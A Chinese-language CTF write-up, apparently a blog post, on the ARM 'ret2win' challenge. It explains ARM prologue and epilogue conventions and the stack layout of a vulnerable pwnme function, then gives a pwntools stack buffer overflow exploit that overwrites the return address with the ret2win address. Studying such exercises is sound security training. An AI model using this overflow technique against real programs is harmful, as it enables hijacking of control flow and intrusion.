OneShell

I fight for a brighter tomorrow

0%

ret2win_armel

以函数pwnme为例:
函数初始化的时候会保存寄存器到栈上,可以看到ARM是支持将寄存器批量保存到栈上的。这个地方说明一点,PUSH和POP操作的寄存器列表中,无论寄存器是以什么顺序给定,都会先进行升序排序。PUSH序号大的寄存器,对应POP序号小的寄存器。
R11是通用寄存器,目前不知道有什么特殊性;LR(R14)是连接寄存器,用于保存函数返回地址。随后也是类似于X86/64,通过减SP的方式开辟函数栈帧。

1
2
3
.text:00010570 PUSH    {R11,LR}
.text:00010574 ADD R11, SP, #4
.text:00010578 SUB SP, SP, #0x20

函数调用:
调用子函数通过寄存器R0~R3进行传参,那么如果是有多余的参数呢,目前没有深究,估计剩下的参数就用栈来传参吧。

1
2
3
4
.text:00010580 MOV     R2, #0x20 ; ' ' ; n
.text:00010584 MOV R1, #0 ; c
.text:00010588 MOV R0, R3 ; s
.text:0001058C BL memset

函数结束:
在函数初始化的时候,我们可以看到将原本SP+4的值赋给R11(fp)。在函数结束的时候,直接从R11-4就恢复了SP,就类似于使用了R11作为中间寄存器保存原本栈SP的值。
最后会POP R11的值,以及将初始化时的连接寄存器LR值赋值给PC,从而达到函数执行完毕返回的过程。

1
2
.text:000105D0 SUB     SP, R11, #4
.text:000105D4 POP {R11,PC}

利用

缓冲区s起始地址为fp-24h,返回地址是保存在fp,那么输入0x24个字节就可以开始覆盖缓冲区大小。

1
2
3
4
5
6
7
8
9
10
11
12
int pwnme()
{
char s[36]; // [sp+0h] [bp-24h] BYREF

memset(s, 0, 0x20u);
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, s, 0x38u);
return puts("Thank you!");
}

那么直接覆盖到返回地址

1
2
rop = b"A" * 0x24
rop += p32(0x000105EC) #

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

BINARY = "./ret2win_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

p = remote("127.0.0.1", 8888)
rop = b"A" * 0x24
rop += p32(ELF.symbols["ret2win"])

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))